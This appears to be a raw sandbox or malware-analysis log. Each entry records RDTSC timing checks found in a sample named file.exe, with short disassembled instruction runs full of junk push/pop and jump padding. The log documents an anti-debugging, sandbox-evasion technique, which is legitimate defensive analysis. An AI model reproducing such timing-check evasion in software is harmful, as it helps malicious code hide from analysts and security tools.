Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF4A5 second address: FCF4C8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F9ACCBE48D9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF604 second address: FCF60C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF60C second address: FCF610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF8C8 second address: FCF8DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jno 00007F9ACD05C372h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF8DF second address: FCF91A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F9ACCBE48D6h 0x00000008 jnl 00007F9ACCBE48C6h 0x0000000e pop edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F9ACCBE48D6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCFA47 second address: FCFA4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCFA4C second address: FCFA53 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCFA53 second address: FCFA78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9ACD05C370h 0x0000000e pushad 0x0000000f jo 00007F9ACD05C366h 0x00000015 push edi 0x00000016 pop edi 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCFA78 second address: FCFA7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCFA7D second address: FCFA85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79F2E second address: F79F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F9ACCBE48CCh 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jp 00007F9ACCBE48C8h 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCFD2F second address: FCFD35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCFD35 second address: FCFD3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCFD3B second address: FCFD3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCFE86 second address: FCFE9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9ACCBE48D2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3C84 second address: FD3C9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACD05C373h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3C9C second address: FD3CB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F9ACCBE48C6h 0x0000000a jp 00007F9ACCBE48C6h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3CB5 second address: FD3CED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jc 00007F9ACD05C373h 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007F9ACD05C36Bh 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 jmp 00007F9ACD05C379h 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3E2F second address: FD3E38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3E38 second address: FD3E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F9ACD05C379h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3E60 second address: FD3E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007F9ACCBE48C8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3FB3 second address: FD3FC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9ACD05C36Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3FC5 second address: FD3FF6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9ACCBE48C6h 0x00000008 jmp 00007F9ACCBE48D5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9ACCBE48CEh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3FF6 second address: FD3FFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD7083 second address: FD7088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD71E1 second address: FD71E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD71E7 second address: FD71EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD71EB second address: FD7249 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9ACD05C370h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F9ACD05C36Ch 0x00000010 popad 0x00000011 pushad 0x00000012 push edx 0x00000013 jmp 00007F9ACD05C378h 0x00000018 pop edx 0x00000019 push ebx 0x0000001a ja 00007F9ACD05C366h 0x00000020 pop ebx 0x00000021 pushad 0x00000022 push edi 0x00000023 pop edi 0x00000024 jns 00007F9ACD05C366h 0x0000002a jg 00007F9ACD05C366h 0x00000030 popad 0x00000031 js 00007F9ACD05C36Ch 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD73A8 second address: FD73B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD90E5 second address: FD90EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE14FB second address: FE1501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF5B1 second address: FDF5B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF9F3 second address: FDF9FF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF9FF second address: FDFA03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDFA03 second address: FDFA0D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9ACCBE48C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDFA0D second address: FDFA30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9ACD05C379h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDFA30 second address: FDFA34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE02CD second address: FE02F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F9ACD05C366h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d js 00007F9ACD05C37Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE05DB second address: FE05FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9ACCBE48D9h 0x00000009 jnc 00007F9ACCBE48C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE05FE second address: FE0616 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F9ACD05C366h 0x0000000e jmp 00007F9ACD05C36Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0616 second address: FE062C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48D2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0C03 second address: FE0C1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F9ACD05C36Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0C1C second address: FE0C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9ACCBE48D9h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0F1F second address: FE0F29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE45C1 second address: FE45DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F9ACCBE48C6h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F9ACCBE48CEh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4AC1 second address: FE4AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4AC7 second address: FE4ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF189A second address: FF18AA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9ACD05C366h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFAE0 second address: FEFB0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48CFh 0x00000007 jg 00007F9ACCBE48C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F9ACCBE48D3h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF01CE second address: FF01D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF01D4 second address: FF01EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F9ACCBE48CEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF01EB second address: FF01F5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9ACD05C376h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0347 second address: FF0351 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9ACCBE48CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0495 second address: FF049F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9ACD05C36Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0901 second address: FF090D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF6678 second address: FF667E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF667E second address: FF6685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF6685 second address: FF668C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF668C second address: FF66B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48D8h 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F9ACCBE48C6h 0x0000000f jng 00007F9ACCBE48C6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA6D5 second address: FFA6FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F9ACD05C366h 0x0000000a jmp 00007F9ACD05C376h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA6FC second address: FFA719 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F9ACCBE48CDh 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA719 second address: FFA74D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9ACD05C370h 0x00000009 jmp 00007F9ACD05C371h 0x0000000e popad 0x0000000f jmp 00007F9ACD05C36Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA74D second address: FFA753 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA753 second address: FFA757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA433 second address: FFA451 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F9ACCBE48CEh 0x0000000a jc 00007F9ACCBE48C6h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA451 second address: FFA45B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F9ACD05C366h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1008E13 second address: 1008E37 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F9ACCBE48C8h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 jmp 00007F9ACCBE48CDh 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100AD4E second address: 100AD54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100AD54 second address: 100AD65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F9ACCBE48C6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100AD65 second address: 100AD69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100AD69 second address: 100AD6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F39537 second address: F3955A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F9ACD05C366h 0x00000009 jmp 00007F9ACD05C36Ch 0x0000000e jmp 00007F9ACD05C36Ah 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100D4FB second address: 100D507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100D507 second address: 100D50D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10160E6 second address: 10160EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10160EC second address: 10160F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F9ACD05C366h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1015F56 second address: 1015F5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1015F5E second address: 1015F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1015F62 second address: 1015F66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1019C68 second address: 1019C6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1019C6E second address: 1019C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1019C72 second address: 1019C78 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1019C78 second address: 1019C8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F9ACCBE48CFh 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1019C8F second address: 1019C95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D377 second address: 101D3A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop esi 0x00000009 jmp 00007F9ACCBE48D9h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D3A0 second address: 101D3A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D3A4 second address: 101D3AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D3AA second address: 101D3B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F9ACD05C366h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D3B6 second address: 101D3BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1026256 second address: 102625B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102625B second address: 1026261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1026261 second address: 102627D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9ACD05C373h 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1029733 second address: 1029739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1029739 second address: 102973D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102973D second address: 1029741 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1029741 second address: 1029749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10377F8 second address: 1037802 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9ACCBE48C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1037802 second address: 103780C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F9ACD05C366h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103780C second address: 1037810 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104507E second address: 1045082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
